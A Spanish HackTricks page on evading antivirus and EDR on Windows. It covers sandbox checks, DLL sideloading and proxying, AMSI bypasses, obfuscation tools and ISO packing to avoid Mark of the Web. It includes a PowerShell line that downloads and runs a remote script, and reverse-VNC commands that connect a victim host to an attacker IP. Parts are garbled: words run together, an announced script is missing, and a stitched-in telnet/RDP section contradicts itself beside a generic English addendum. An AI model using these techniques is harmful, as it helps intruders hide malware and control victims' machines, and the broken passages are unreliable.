* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, como la detección estática, el análisis dinámico y, para los EDR más avanzados, el análisis de comportamiento.
La detección estática se logra mediante la identificación de cadenas o matrices de bytes maliciosas conocidas en un binario o script, y también extrayendo información del propio archivo (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de comprobación, etc.). Esto significa que el uso de herramientas públicas conocidas puede hacer que te descubran más fácilmente, ya que probablemente hayan sido analizadas y marcadas como maliciosas. Hay un par de formas de evitar este tipo de detección:
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase desapercibido para el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
Una buena forma de verificar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente, divide el archivo en varios segmentos y luego le pide a Defender que escanee cada uno por separado, de esta manera, puede decirte exactamente qué cadenas o bytes están marcados en tu binario.
Recomiendo encarecidamente que veas esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre la evasión práctica de AV.
El análisis dinámico se produce cuando el AV ejecuta tu binario en un entorno controlado y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minivolcado en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí tienes algunas cosas que puedes hacer para evadir los entornos controlados.
* **Esperar antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una excelente manera de eludir el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos sin interrumpir el flujo de trabajo del usuario, por lo que el uso de esperas largas puede perturbar el análisis de los binarios. El problema es que muchos entornos controlados de AV pueden omitir la espera dependiendo de cómo esté implementada.
* **Verificar los recursos de la máquina** Por lo general, los entornos controlados tienen muy pocos recursos para trabajar (por ejemplo, <2GBdeRAM),delocontrariopodríanralentizarlamáquinadelusuario.Tambiénpuedessermuycreativoaquí,porejemplo,verificandolatemperaturadelaCPUoinclusolasvelocidadesdelventilador,notodoestaráimplementadoenelentornocontrolado.
* **Comprobaciones específicas de la máquina** Si quieres atacar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes verificar el dominio del equipo para ver si coincide con el que has especificado. Si no coincide, puedes hacer que tu programa se cierre.
Resulta que el nombre de la computadora del entorno controlado de Microsoft Defender es HAL9TH, por lo que puedes verificar el nombre de la computadora en tu malware antes de la detonación. Si el nombre coincide con HAL9TH, significa que estás dentro del entorno controlado de Defender, por lo que puedes hacer que tu programa se cierre.
Por ejemplo, si quieres volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y también haga volcados de LSASS?
Probablemente la respuesta correcta sea la segunda opción. Tomando a mimikatz como ejemplo, probablemente sea uno de los programas más marcados como malware por los AV y EDR, aunque el proyecto en sí mismo es genial, también es una pesadilla trabajar con él para evadir los AV, así que busca alternativas para lo que estás tratando de lograr.
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS EL ARCHIVO A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres verificar si tu carga útil es detectada por un AV en particular, instálalo en una máquina virtual, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Siempre que sea posible, **prioriza el uso de DLLs para eludir la detección**, en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, por lo que es un truco muy sencillo de usar para evitar la detección en algunos casos (si tu carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto).
Como podemos ver en esta imagen, una carga útil DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que la carga útil EXE tiene una tasa de detección de 7/26.
<figure><imgsrc="../.gitbook/assets/image (6) (3) (1).png"alt=""><figcaption><p>Comparación en antiscan.me de una carga útil EXE normal de Havoc frente a una carga útil DLL normal de Havoc</p></figcaption></figure>
**DLL Sideloading** aprovecha el orden de búsqueda de DLL utilizado por el cargador al colocar tanto la aplicación víctima como las cargas útiles maliciosas juntas.
Puedes verificar los programas susceptibles a DLL Sideloading utilizando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de PowerShell:
Este comando mostrará la lista de programas susceptibles a la suplantación de DLL dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, es posible que os descubran fácilmente.
Simplemente colocar una DLL maliciosa con el nombre que espera cargar un programa no cargará vuestra carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** redirige las llamadas que un programa realiza desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y permitiendo ejecutar vuestra carga útil.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
**Recomiendo encarecidamente** que veas el VOD de [S3cur3Th1sSh1t en Twitch](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el video de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender más sobre lo que hemos discutido en profundidad.
`Freeze es una herramienta de carga útil para evadir EDRs utilizando procesos suspendidos, llamadas directas al sistema y métodos de ejecución alternativos`
La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes en una sola herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
AMSI fue creado para prevenir el "[malware sin archivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, los antivirus solo podían escanear **archivos en disco**, por lo que si de alguna manera podías ejecutar cargas útiles **directamente en la memoria**, el antivirus no podía hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script de forma no encriptada y no ofuscada.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado algo.
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a esta falla en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Forzar que la inicialización de AMSI falle (amsiInitFailed) hará que no se inicie ningún escaneo para el proceso actual. Originalmente, esto fue revelado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
Todo lo que se necesitó fue una línea de código de powershell para desactivar AMSI para el proceso actual de powershell. Esta línea, por supuesto, ha sido detectada por AMSI mismo, por lo que se necesita alguna modificación para utilizar esta técnica.
Aquí hay un bypass modificado de AMSI que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/\_RastaMouse/) e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código de E\_INVALIDARG. De esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para obtener una explicación más detallada.
También existen muchas otras técnicas utilizadas para evadir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para obtener más información al respecto.
Existen varias herramientas que se pueden utilizar para **ofuscar código C# en texto claro**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados**, como:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar una bifurcación de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar una mayor seguridad del software a través de la [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y la protección contra manipulaciones.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo utilizar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++, lo que dificulta un poco la vida de la persona que intenta crackear la aplicación.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador binario x64 que puede ofuscar varios archivos PE diferentes, incluyendo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor simple de código metamórfico para ejecutables arbitrarios.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de granularidad fina para lenguajes compatibles con LLVM que utiliza ROP (programación orientada a retornos). ROPfuscator ofusca un programa a nivel de código ensamblador transformando las instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un encriptador de archivos PE .NET escrito en Nim.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos.
## SmartScreen y MoTW
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de Internet y ejecutarlos.
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, lo que alertará y evitará que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
**MoTW** (Mark of The Web) es un [flujo de datos alternativo de NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de Internet, junto con la URL desde la que se descargó.
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>Comprobando el flujo de datos alternativo Zone.Identifier para un archivo descargado de Internet.</p></figcaption></figure>
Una forma muy efectiva de evitar que tus cargas útiles obtengan la marca Mark of The Web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque Mark-of-the-Web (MOTW) **no se puede aplicar** a volúmenes **no NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir Mark-of-the-Web.
Aquí hay una demostración de cómo evadir SmartScreen empaquetando cargas útiles dentro de archivos ISO utilizando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Cargar binarios de C# en memoria ha sido conocido durante mucho tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya proporcionan la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
Implica **crear un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando hayas terminado, finalizar el nuevo proceso. Esto tiene tanto beneficios como inconvenientes. El beneficio del método de bifurcación y ejecución es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo sale mal o se detecta en nuestra acción de post-explotación, hay una **mayor probabilidad** de que nuestro **implante sobreviva**. La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones de Comportamiento**.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por el antivirus, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mayor probabilidad** de **perder tu beacon** ya que podría fallar.
Si quieres leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
También puedes cargar ensamblados de C# **desde PowerShell**, echa un vistazo a [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y [el video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al darle al equipo comprometido acceso **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**. 
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
El repositorio indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evadir las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han tenido éxito.
La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectable en entornos maduros.
Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.
Para evitar la detección y mejorar la seguridad, es recomendable cambiar el puerto predeterminado de telnet en Windows. Esto dificultará que los atacantes encuentren y exploren el servicio de telnet en el sistema.
1. Abre el Editor del Registro de Windows presionando `Win + R` y luego escribiendo `regedit`.
2. Navega hasta la siguiente ubicación en el Editor del Registro: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet`.
3. Haz clic derecho en la clave `Telnet` y selecciona `Modificar`.
4. En el campo `Información del valor`, cambia el valor de `Start` a `4` y haz clic en `Aceptar`. Esto deshabilitará el servicio de telnet.
5. Navega hasta la siguiente ubicación en el Editor del Registro: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp`.
6. Haz clic derecho en la clave `tcp` y selecciona `Modificar`.
7. En el campo `Información del valor`, cambia el valor de `PortNumber` a un número de puerto personalizado y haz clic en `Aceptar`. Asegúrate de elegir un número de puerto que no esté comúnmente asociado con otros servicios.
8. Reinicia el sistema para que los cambios surtan efecto.
Una vez que hayas cambiado el puerto de telnet, asegúrate de actualizar cualquier configuración o herramienta que utilices para acceder al servicio de telnet con el nuevo número de puerto.
Además, si deseas desactivar el firewall de Windows, puedes hacerlo siguiendo estos pasos:
1. Abre el Panel de control y selecciona "Sistema y seguridad".
2. Haz clic en "Firewall de Windows Defender".
3. En la ventana del Firewall de Windows Defender, haz clic en "Activar o desactivar el Firewall de Windows Defender" en el panel izquierdo.
4. Selecciona "Desactivar Firewall de Windows Defender (no recomendado)" para desactivar el firewall.
Recuerda que desactivar el firewall puede dejar tu sistema más vulnerable a ataques, por lo que se recomienda solo hacerlo en entornos controlados y seguros.
Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (quieres las descargas binarias, no la configuración)
**EN EL HOST**: Ejecuta _**winvnc.exe**_ y configura el servidor:
* Habilita la opción _Disable TrayIcon_
* Establece una contraseña en _VNC Password_
* Establece una contraseña en _View-Only Password_
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una conexión **VNC inversa**. Luego, dentro de la **víctima**: Inicia el demonio winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
* No inicies `winvnc` si ya está en ejecución o activarás una [ventana emergente](https://i.imgur.com/1SROTTl.png). Verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` sin tener `UltraVNC.ini` en el mismo directorio o se abrirá [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
* No ejecutes `winvnc -h` para obtener ayuda o activarás una [ventana emergente](https://i.imgur.com/oc18wcu.png)
Antivirus (AV) software is commonly used to detect and prevent malicious software from running on a system. However, as a hacker, it is crucial to understand how to bypass these security measures in order to successfully execute your attacks. This section will cover various techniques to bypass AV detection and ensure the smooth execution of your payloads.
### Encoding Payloads
One of the simplest ways to bypass AV detection is by encoding your payloads. Encoding involves transforming the payload into a different format that is not recognized by the AV software. This can be achieved using various encoding techniques such as base64, hexadecimal, or even custom encoding algorithms.
### Obfuscation
Obfuscation is another effective technique to bypass AV detection. It involves modifying the code of your payload in a way that makes it difficult for the AV software to analyze and detect its malicious intent. This can be done by adding junk code, changing variable names, or using obfuscation tools to automatically obfuscate your payload.
### Metasploit Framework
The Metasploit Framework is a powerful tool that can be used to bypass AV detection. It provides various modules and techniques specifically designed to evade AV software. These modules can be used to generate payloads that are undetectable by most AV software.
### Custom Payloads
Creating custom payloads is another effective way to bypass AV detection. By writing your own code and avoiding the use of well-known payloads, you can increase the chances of evading AV detection. This requires a good understanding of programming languages and the ability to write efficient and stealthy code.
### Conclusion
Bypassing AV detection is a crucial skill for any hacker. By understanding and implementing the techniques mentioned in this section, you can increase the success rate of your attacks and ensure that your payloads go undetected by AV software. Remember to always stay updated with the latest AV evasion techniques and adapt your strategies accordingly.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
